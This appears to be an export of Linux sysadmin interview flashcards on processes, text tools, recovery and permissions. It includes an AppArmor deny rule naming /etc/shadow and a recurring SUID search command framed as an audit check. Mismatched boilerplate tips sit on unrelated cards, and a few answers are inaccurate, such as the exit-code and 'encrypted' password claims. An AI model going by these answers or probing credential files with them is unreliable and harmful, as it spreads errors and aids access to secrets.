A: Too many open files -- increase nofile limit. "Cannot fork" -- hit max processes (nproc). "No core dump generated" -- core file size is 0. Set permanently in /etc/security/limits.conf (e.g., appuser soft nofile 65536) or in systemd unit files with LimitNOFILE=65536 and LimitNPROC=4096. Check current limits with cat /proc/<PID>/limits."
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is the meaning of the error `maxproc limit exceeded by uid %i ...` in FreeBSD?]]
* [[What is the maximum number of file descriptors per process?]]
* [[How do you find the open file descriptors and file descriptor count for a running process?]]
Q: What are the different ways to send signals to processes, and when would you use each?
A: kill -SIGTERM <PID> (by PID, most common). killall -TERM nginx (by process name, all matching). pkill -TERM -f "python app.py" (by command pattern). kill -0 <PID> checks if a process exists without sending a signal. Use pkill -f when the process name alone is ambiguous. Always prefer SIGTERM before SIGKILL.
Remember: SIGTERM(15)=polite, SIGKILL(9)=forced, SIGHUP(1)=reload, SIGINT(2)=Ctrl+C.
Gotcha: SIGKILL can't be caught. Always try SIGTERM first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Present and explain the good ways of using the `kill` command.]]
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
* [[What if `kill -9` does not work? Describe exceptions for which the use of SIGKILL is in…]]
Q: Explain what each of the following commands does and give an example on how to use it:
A: * touch - update file's timestamp. More commonly used for creating files
* ls - listing files and directories
* rm - remove files and directories
* cat - create, view and concatenate files
* cp - copy files and directories
* mkdir - create directories
* pwd - print current working directory (= at what path the user currently located)
* cd - change directory
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What does the execve() system call do in Linux?]]
* [[Specify which command would you use (and how) for each of the following scenarios]]
* [[Name at least five attributes every Linux process has.]]
Q: What do we grep for in each of the following commands?:
A: 1. An IP address
# The word "error" or "failure"
# Lines which end with a number
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is `grep` command? How to match multiple strings in the same line?]]
* [[Which line numbers will be printed when running `grep '\baaa\b'` on the following content:]]
* [[What the awk command does? Have you used it? What for?]]
Q: How packages installation/removal is performed on the distribution you are using?
A: The answer depends on the distribution being used.
In Fedora/CentOS/RHEL/Rocky it can be done with <html><code>rpm</code></html> or <html><code>dnf</code></html> commands.
In Ubuntu it can be done with the <html><code>apt</code></html> command.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is DNF and what is it used for in Linux package management?]]
* [[Specify which command would you use (and how) for each of the following scenarios]]
* [[Can you describe how processes are being created?]]
Q: Specify which command would you use (and how) for each of the following scenarios
A: - <html><code>rm -rf dir</code></html>
** <html><code>cat or less</code></html>
** <html><code>chmod 777 /tmp/x</code></html>
** <html><code>cd ~</code></html>
** <html><code>sed -i s/good/great/g /tmp/y</code></html>
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is the easiest, safest and most portable way to remove `-rf` directory entry?]]
* [[Explain what each of the following commands does and give an example on how to use it:]]
* [[`rm` vs `rm -rf`: behavior and dangers]]
Q: What is DNF and what is it used for in Linux package management?
A: From the [[repo|https://github.com/rpm-software-management/dnf]]:
"Dandified YUM (DNF) is the next upcoming major version of YUM. It does package management using RPM, libsolv and hawkey libraries."
Official [[docs|https://dnf.readthedocs.io/en/latest/]]
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is the difference between rpm, yum, and dnf?]]
* [[How packages installation/removal is performed on the distribution you are using?]]
Q: How do you find all processes owned by a specific user in Linux?
A: If you mention at any point ps command with arguments, be familiar with what these arguments does exactly.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[how to list all the processes running in your system?]]
* [[What is a process, and how do you list processes in Linux?]]
* [[Name at least five attributes every Linux process has.]]
Q: Find all the files which end with '.yml' and replace the number 1 in 2 in each file
A: find /some_dir -iname \*.yml -print0 | xargs -0 -r sed -i "s/1/2/g"
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Fix the following commands:]]
* [[Specify which command would you use (and how) for each of the following scenarios]]
* [[How do you perform a basic sed substitution?]]
Q: What the awk command does? Have you used it? What for?
A: From Wikipedia: "AWK is domain-specific language designed for text processing and typically used as a data extraction and reporting tool"
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What do we grep for in each of the following commands?:]]
* [[How to print every line that is longer than 79 characters?]]
* [[What is an exit code? What exit codes are you familiar with?]]
Q: What does it mean when the effective user is root, but the real user ID is still your name?
A: The ''real user ID'' is who you really are (the user who owns the process), and the ''effective user ID'' is what the operating system looks at to make a decision whether or not you are allowed to do something (most of the time, there are some exceptions).
When you log in, the login shell sets both the ''real and effective user ID'' to the same value (your ''real user ID'') as supplied by the password file.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Running as root amplifies blast radius of operator error]]
* [[How a program executes a system call?]]
* [[Kernel checks UID 0 for root, not the account name]]
Q: How to print every line that is longer than 79 characters?
A: <html><code>awk 'length($0) > 79' file</code></html>
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[How to print the 4th column in a file?]]
* [[What the awk command does? Have you used it? What for?]]
* [[How do you view the first 10 lines of a file?]]
Q: What is an exit code? What exit codes are you familiar with?
A: An exit code (or return code) represents the code returned by a child process to its
parent process.
0 is an exit code which represents success while anything higher than 1 represents error.
Each number has different meaning, based on how the application was developed.
I consider this as a good blog post to read more about it: https://shapeshed.com/unix-exit-codes
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is `strace` command and how should be used? Explain example of connect to an alrea…]]
* [[Explain the exec() system call]]
Q: Developer added cron job which generate massive log files. How do you prevent them from getting so big?
A: Using <html><code>logrotate</code></html> is the usual way of dealing with logfiles. But instead of adding content to <html><code>/etc/logrotate.conf</code></html> you should add your own job to <html><code>/etc/logrotate.d/</code></html>, otherwise you would have to look at more diffs of configuration files during release upgrades.
If it's actively being written to you don't really have much you can do by way of truncate. Your only options are to truncate the file:
<html><pre><code class="language-bash">: >/var/log/massive-logfile</code></pre></html>
It's very helpful, because it's truncate the file without disrupting the processes.
Remember: Cron fields: minute hour day month weekday. "MHDMW."
Example: <html><code>*/5 * * * *</code></html> = every 5min. <html><code>0 2 * * 0</code></html> = 2AM Sundays.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Verify the purpose of cron jobs before disabling them]]
* [[logrotate was invented to solve log files filling disks]]
Q: What kind of information one can find in /proc?
A: It contains useful information about the processes that are currently running, it is regarded as control and information center for kernel.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is /proc/sys/?]]
* [[What information can you find in `/proc/PID/status`?]]
* [[Name at least five attributes every Linux process has.]]
Q: What is the difference between a service failure and a dependency failure?
A: Service failure is the unit itself exiting non-zero or crashing. The process ran but failed.
Dependency failure means a required unit (specified via <html><code>Requires=</code></html> or <html><code>BindsTo=</code></html>) failed earlier, so systemd never attempted to start the dependent service.
To diagnose:
<html><pre><code class="language-bash">systemctl status myservice
journalctl -u myservice
systemctl list-dependencies myservice --reverse</code></pre></html>
Dependency failures show "dependency failed" in status; service failures show the actual exit code.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What are the key dependency directives in systemd?]]
* [[How do you debug a service that won't start?]]
* [[What does `systemctl list-units --type=service --state=failed` show?]]
Q: How to print the 4th column in a file?
A: <html><code>awk '{print $4}' file</code></html>
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[How to print every line that is longer than 79 characters?]]
* [[What the awk command does? Have you used it? What for?]]
* [[How do you view the first 10 lines of a file?]]
Q: What a double dash (--) mean?
A: It's used in commands to mark the end of commands options. One common example is when used with git to discard local changes: <html><code>git checkout -- some_file</code></html>
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What does `set -x` do?]]
Q: Using sed, extract the date from the following line: 201.7.19.90 - - [05/Jun/1985:13:42:99 +0000] "GET /site HTTP/1.1" 200 32421
A: <html><code>echo $line | sed 's/.*\[//g;s/].*//g;s/:.*//g'</code></html>
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[How to find files that have been modified on your system in the past 60 minutes?]]
* [[Fix the following commands:]]
* [[What the awk command does? Have you used it? What for?]]
Q: Present and explain the good ways of using the <html><code>kill</code></html> command.
A: Speaking of killing processes never use <html><code>kill -9/SIGKILL</code></html> unless absolutely mandatory. This kill can cause problems because of its brute force.
Always try to use the following simple procedure:
* first, send ''SIGTERM'' (<html><code>kill -15</code></html>) signal first which tells the process to shutdown and is generally accepted as the signal to use when shutting down cleanly (but remember that this signal can be ignored).
* next try to send ''SIGHUP'' (<html><code>kill -1</code></html>) signal which is commonly used to tell a process to shutdown and restart, this signal can also be caught and ignored by a process.
The far majority of the time, this is all you need - and is much cleaner.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What are the different ways to send signals to processes, and when would you use each?]]
* [[What signal number is SIGTERM?]]
* [[What signal number is SIGKILL?]]
Q: How do you get a list of logged-in users?
A: For a summary of logged-in users, including each login of a username, the terminal users are attached to, the date/time they logged in, and possibly the computer from which they are making the connection, enter:
<html><pre><code class="language-bash"># It uses /var/run/utmp and /var/log/wtmp files to get the details.
who</code></pre></html>
For extensive information, including username, terminal, IP number of the source computer, the time the login began, any idle time, process CPU cycles, job CPU cycles, and the currently running command, enter:
<html><pre><code class="language-bash"># It uses /var/run/utmp, and their processes /proc.
w</code></pre></html>
Also important for displays a list of last logged in users, enter:
<html><pre><code class="language-bash"># It uses /var/log/wtmp.
last</code></pre></html>
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is the `w` command?]]
* [[Your first 5 commands on a *nix server after login.]]
* [[What is the `last` command?]]
Q: What are hidden files/directories? How to list them?
A: These are files directly not displayed after performing a standard ls direct listing. An example of these files are .bashrc which are used to execute some scripts. Some also store configuration about services on your host like .KUBECONFIG. The command used to list them is, <html><code>ls -a</code></html>
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[How do you list all files, including hidden ones?]]
* [[`ls -l` shows file attributes as question marks. What this means and what steps will yo…]]
* [[What system call is used for listing files?]]
Q: What is <html><code>grep</code></html> command? How to match multiple strings in the same line?
A: The <html><code>grep</code></html> utilities are a family of Unix tools, including <html><code>egrep</code></html> and <html><code>fgrep</code></html>.
<html><code>grep</code></html> searches file patterns. If you are looking for a specific pattern in the output of another command, <html><code>grep</code></html> highlights the relevant lines. Use this grep command for searching log files, specific processes, and more.
For match multiple strings:
<html><pre><code class="language-bash">grep -E "string1|string2" filename</code></pre></html>
or
<html><pre><code class="language-bash">grep -e "string1" -e "string2" filename</code></pre></html>
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What do we grep for in each of the following commands?:]]
* [[How do you search for a specific string within a file?]]
* [[Which line numbers will be printed when running `grep '\baaa\b'` on the following content:]]
Q: Which line numbers will be printed when running <html><code>grep '\baaa\b'</code></html> on the following content:
A: Lines 1 and 3. The <html><code>\b</code></html> anchor matches a word boundary, so <html><code>\baaa\b</code></html> matches 'aaa' only as a whole word — not when it appears as a substring inside a longer string like 'aaaa' or 'xaaax'.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is `grep` command? How to match multiple strings in the same line?]]
* [[What do we grep for in each of the following commands?:]]
* [[What does `grep -o` do?]]
Q: How to print the shared libraries required by a certain program?
A: Use ldd or other tools:
ldd (List Dynamic Dependencies):
* ldd /bin/ls
* Shows all shared libraries needed
* Security note: Don't run on untrusted binaries
Alternative methods:
* readelf -d binary | grep NEEDED
* objdump -p binary | grep NEEDED
Runtime loaded libraries:
* lsof -p PID | grep '.so' - Currently loaded
* cat /proc/PID/maps - Memory mappings
If library missing:
* ldd shows "not found"
* Fix: Install package or set LD_LIBRARY_PATH
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[How to find out the dynamic libraries executables loads when run?]]
* [[What is `ldd`?]]
* [[How to debug binaries?]]
Q: Explain Linux I/O redirection
A: In Linux, IO redirection is a way of changing the default input/output behavior of a command or program. It allows you to redirect input and output from/to different sources/destinations, such as files, devices, and other commands.
Here are some common examples of IO redirection:
* Redirecting Standard Output (stdout):
<html><code>ls > filelist.txt</code></html>
* Redirecting Standard Error (stderr):
<html><code>ls /some/nonexistent/directory 2> error.txt</code></html>
* Appending to a file:
<html><code>echo "hello" >> myfile.txt</code></html>
* Redirecting Input (stdin):
<html><code>sort < unsorted.txt</code></html>
* Using Pipes: Pipes ("|"):
<html><code>ls | grep "\.txt$"</code></html>
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Demonstrate Linux output redirection]]
* [[What does the following block do?:]]
Q: Fix the following commands:
A: <html><pre><code class="language-plaintext">sed 's/1/2/g' /tmp/myFile # sed "s/1/2/g" is also fine
find . -iname "*.yaml" -exec sed -i "s/1/2/g" {} \;</code></pre></html>
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Find all the files which end with '.yml' and replace the number 1 in 2 in each file]]
* [[Specify which command would you use (and how) for each of the following scenarios]]
* [[What the awk command does? Have you used it? What for?]]
Q: What can be found in /proc/cmdline?
A: The command passed to the boot loader to run the kernel
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Where can you find the file that contains the command passed to the boot loader to run …]]
* [[Explain Process Descriptor and Task Structure]]
* [[What is /proc/sys/?]]
Q: Explain environment variables. How do you list all of them?
A: Environment variables are name-value pairs passed to processes.
Purpose:
* Configure program behavior
* Pass information to child processes
* System configuration (PATH, HOME, etc.)
Common variables:
* PATH: Command search paths
* HOME: User's home directory
* USER: Current username
* SHELL: Default shell
* LANG: Language/locale
* PWD: Current directory
List them:
* env - All environment variables
* printenv - Same as env
* printenv VAR - Specific variable
* echo $VAR - Print specific value
* export - Show exported variables
Set variables:
* export VAR=value (for child processes)
* VAR=value (shell only, not inherited)
Persistence: Add to ~/.bashrc or ~/.profile
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[How to create your own environment variables?]]
* [[What does the `export` command do?]]
Q: chmod -x /bin/chmod was accidentally run. How do you fix it?
A: Several approaches since chmod itself is now non-executable:
# Use a language interpreter:
perl -e 'chmod 0755, \"/bin/chmod\"'
python3 -c 'import os; os.chmod(\"/bin/chmod\", 0o755)'
# Use /lib/ld-linux to run the binary directly:
/lib64/ld-linux-x86-64.so.2 /bin/chmod +x /bin/chmod
# Copy from another system or package:
cp /bin/ls /tmp/fix && cat /bin/chmod > /tmp/fix && /tmp/fix +x /bin/chmod
# Install from package manager: apt install --reinstall coreutils
The perl approach is the most portable and commonly cited in interviews.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-recovery.tsv</code></html>
''Related atoms''
* [[Other admin trying to debug a server accidentally typed: `chmod -x /bin/chmod`. How to …]]
* [[A user accidentally executed the following chmod -x $(which chmod). How to fix it?]]
* [[How do you change file permissions on Linux?]]
Q: Explain AppArmor profiles and enforcement modes
A: AppArmor is a Mandatory Access Control (MAC) system using path-based profiles to restrict program capabilities.
Modes:
* enforce: violations blocked and logged
* complain: violations logged but allowed (for testing)
* unconfined: no restrictions
! Check status:
aa-status
! Put profile in complain mode:
aa-complain /etc/apparmor.d/usr.bin.firefox
! Put profile in enforce mode:
aa-enforce /etc/apparmor.d/usr.bin.firefox
! Generate profile interactively:
aa-genprof /path/to/binary
Profile syntax:
/usr/bin/app {
/etc/app.conf r,
/var/log/app.log w,
/tmp/ rw,
network inet stream,
deny /etc/shadow r,
}
AppArmor is simpler than SELinux (path-based vs label-based). Used by default in Ubuntu, SUSE. Kubernetes supports AppArmor annotations for pod security.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-recovery.tsv</code></html>
''Related atoms''
* [[SELinux vs AppArmor: MAC models compared]]
* [[What are AppArmor's two modes?]]
* [[AppArmor uses path-based rules instead of SELinux's label complexity]]
Q: How do you diagnose and recover from a full filesystem?
A: When / or another critical filesystem fills up:
# Identify the culprit:
df -h # which filesystem is full
du -sh /* | sort -rh | head -10 # largest dirs
find / -xdev -size +100M -type f # large files
lsof +L1 # deleted-but-open files holding space
# Quick relief:
** Truncate large logs: > /var/log/bigfile.log
** Clean package cache: apt clean / yum clean all
** Remove old kernels: apt autoremove
** Clear /tmp: find /tmp -mtime +7 -delete
# If /tmp is full and you can't create temp files:
Use /dev/shm (tmpfs in RAM) as temporary workspace
# For deleted-but-open files consuming space:
Restart the process holding the fd, or truncate via /proc/<PID>/fd/<N>
Prevention: set up monitoring alerts at 80% capacity, use logrotate, separate /var and /tmp.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-recovery.tsv</code></html>
''Related atoms''
* [[What causes sudden disk full with "no files"?]]
* [[Deleted open files hold disk space until last fd closes]]
* [["No space left on device" may mean inode exhaustion, not full blocks]]
Q: How do you recover GRUB when the system won't boot?
A: Common GRUB recovery scenarios:
# From GRUB rescue prompt:
ls # list partitions
set root=(hd0,gpt2) # set root partition
set prefix=(hd0,gpt2)/boot/grub
insmod normal
normal # boot normally
# From a live USB:
mount /dev/sda2 /mnt
mount /dev/sda1 /mnt/boot/efi # if UEFI
mount --bind /dev /mnt/dev
mount --bind /proc /mnt/proc
mount --bind /sys /mnt/sys
chroot /mnt
grub-install /dev/sda # reinstall GRUB
update-grub # regenerate config
# Reinstall from running system:
sudo grub-install /dev/sda
sudo update-grub
For UEFI: ensure EFI partition is mounted, use grub-install --target=x86_64-efi. Check /etc/default/grub for configuration.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-recovery.tsv</code></html>
''Related atoms''
* [[How do you enter GRUB rescue mode?]]
* [[Recovering from failed kernel update via GRUB rollback]]
* [[Emergency root access recovery via GRUB single-user and cloud recovery]]
Q: How to recursively change permissions for all directories except files and for all files except directories?
A: To change all the directories e.g. to ''755'' (<html><code>drwxr-xr-x</code></html>):
<html><pre><code class="language-bash">find /opt/data -type d -exec chmod 755 {} \;</code></pre></html>
To change all the files e.g. to ''644'' (<html><code>-rw-r--r--</code></html>):
<html><pre><code class="language-bash">find /opt/data -type f -exec chmod 644 {} \;</code></pre></html>
Remember: 4=read, 2=write, 1=execute. 755=rwxr-xr-x. SUID=4000, SGID=2000, sticky=1000.
Gotcha: SUID runs as owner(root). Find: <html><code>find / -perm -4000</code></html>. Security audit must-check.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How do you change file permissions on Linux?]]
* [[How to change the permissions of a file?]]
* [[What does the following permissions mean?:]]
Q: How to see a list of who logged in to the system?
A: Several commands show login history:
Current users:
* who - Currently logged in users
* w - Logged in users with activity
* users - Simple list of usernames
Login history:
* last - Recent logins from /var/log/wtmp
* last username - Specific user history
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the `last` command?]]
Q: What does the following permissions mean?:
A: 777 - You give the owner, group and other: Execute (1), Write (2) and Read (4); 4+2+1 = 7.
644 - Owner has Read (4), Write (2), 4+2 = 6; Group and Other have Read (4).
750 - Owner has x+r+w, Group has Read (4) and Execute (1); 4+1 = 5. Other have no permissions.
Remember: 4=read, 2=write, 1=execute. 755=rwxr-xr-x. SUID=4000, SGID=2000, sticky=1000.
Gotcha: SUID runs as owner(root). Find: <html><code>find / -perm -4000</code></html>. Security audit must-check.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How to change the permissions of a file?]]
* [[How and why Linux daemons drop privileges? Why some daemons need root permissions to st…]]
Q: What does chmod 755 filename do?
A: Sets file permissions to rwxr-xr-x (owner can read/write/execute, group and others can read/execute).
Remember: 4=read, 2=write, 1=execute. 755=rwxr-xr-x. SUID=4000, SGID=2000, sticky=1000.
Gotcha: SUID runs as owner(root). Find: <html><code>find / -perm -4000</code></html>. Security audit must-check.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[The find -perm flag syntax requires understanding bit-matching semantics]]
* [[A user accidentally executed the following chmod -x $(which chmod). How to fix it?]]
* [[How do you change file permissions on Linux?]]
Q: What this command does? chmod +x some_file
A: It adds execute permissions to all sets i.e user, group and others
Remember: 4=read, 2=write, 1=execute. 755=rwxr-xr-x. SUID=4000, SGID=2000, sticky=1000.
Gotcha: SUID runs as owner(root). Find: <html><code>find / -perm -4000</code></html>. Security audit must-check.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[A user accidentally executed the following chmod -x $(which chmod). How to fix it?]]
* [[The find -perm flag syntax requires understanding bit-matching semantics]]
* [[How does chmod symbolic notation work?]]
Q: What is the main advantage of using <html><code>chroot</code></html>? When and why do we use it? What is the purpose of the mount dev, proc, sys in a chroot environment?
A: An advantage of having a chroot environment is the file-system is totally isolated from the physical host. <html><code>chroot</code></html> has a separate file-system inside the file-system, the difference is its uses a newly created root(/) as its root directory.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is chroot?]]
* [[SELinux vs AppArmor: MAC models compared]]
Q: What is chroot? In what scenarios would you consider using it?
A: chroot changes the apparent root directory for a process.
How it works:
* chroot /newroot /bin/bash
* Process sees /newroot as /
* Can't access files outside
Use cases:
# System recovery - Boot from live CD, chroot to repair
# Build environments - Isolated compilation
# Legacy applications - Run with old libraries
# Basic isolation - Simple sandboxing
5.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Running the command as root user. It is a good or bad practices?]]
* [[Systematic permission debugging from filesystem root to target file]]
* [[SELinux vs AppArmor: MAC models compared]]
Q: Explain what are ACLs. For what use cases would you recommend to use them?
A: ACL stands for Access Control Lists. We can use ACL to have more granular control over accesses to certain files for certain users specifically. For instance, we can return the ACL of a particular file with the command <html><code>getfacl /absolute/file/path</code></html> and modify ACLs for a specific file with <html><code>setfacl -m</code></html>.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Explain Access Control Lists (ACLs) with getfacl and setfacl]]
* [[ACL debugging: overrides and masks silently restrict access]]
* [[How do you set a default ACL on a directory?]]
Q: What is the difference between encryption and hashing?
A: ''Hashing'': Finally, hashing is a form of cryptographic security which differs from ''encryption'' whereas ''encryption'' is a two step process used to first encrypt and then decrypt a message, ''hashing'' condenses a message into an irreversible fixed-length value, or hash.
Remember: LUKS = disk encryption. <html><code>cryptsetup luksFormat /dev/sdb1</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[LUKS encrypts block devices via dm-crypt with multiple key slots]]
* [[What is dm-crypt?]]
Q: Which file stores users passwords? Is it visible for everyone?
A: <html><code>/etc/shadow</code></html> file holds the passwords of the users in encrypted format. NO, it is only visible to the <html><code>root</code></html> user
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Ordinary users are able to read `/etc/passwd`. Is it a security hole? Do you know other…]]
* [[What information is stored in /etc/passwd? explain each field]]
* [[What is the format of /etc/shadow?]]
Q: How to change the permissions of a file?
A: Using the <html><code>chmod</code></html> command.
Remember: 4=read, 2=write, 1=execute. 755=rwxr-xr-x. SUID=4000, SGID=2000, sticky=1000.
Gotcha: SUID runs as owner(root). Find: <html><code>find / -perm -4000</code></html>. Security audit must-check.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What does the following permissions mean?:]]
* [[A user accidentally executed the following chmod -x $(which chmod). How to fix it?]]
* [[How to recursively change permissions for all directories except files and for all file…]]
Q: How do you change file permissions on Linux?
A: <html><code>chmod</code></html> (change mode). Two forms: symbolic (<html><code>chmod u+x script.sh</code></html>) and octal (<html><code>chmod 755 script.sh</code></html>). Octal digits: 4=read, 2=write, 1=execute — e.g. 755 means rwxr-xr-x (owner full, group/others read+execute). Use <html><code>-R</code></html> for recursive. Common patterns: <html><code>chmod 600 secrets.key</code></html> (owner-only), <html><code>chmod +x deploy.sh</code></html> (make executable).
Remember: 4=read, 2=write, 1=execute. 755=rwxr-xr-x. SUID=4000, SGID=2000, sticky=1000.
Gotcha: SUID runs as owner(root). Find: <html><code>find / -perm -4000</code></html>. Security audit must-check.
----
''Sources''
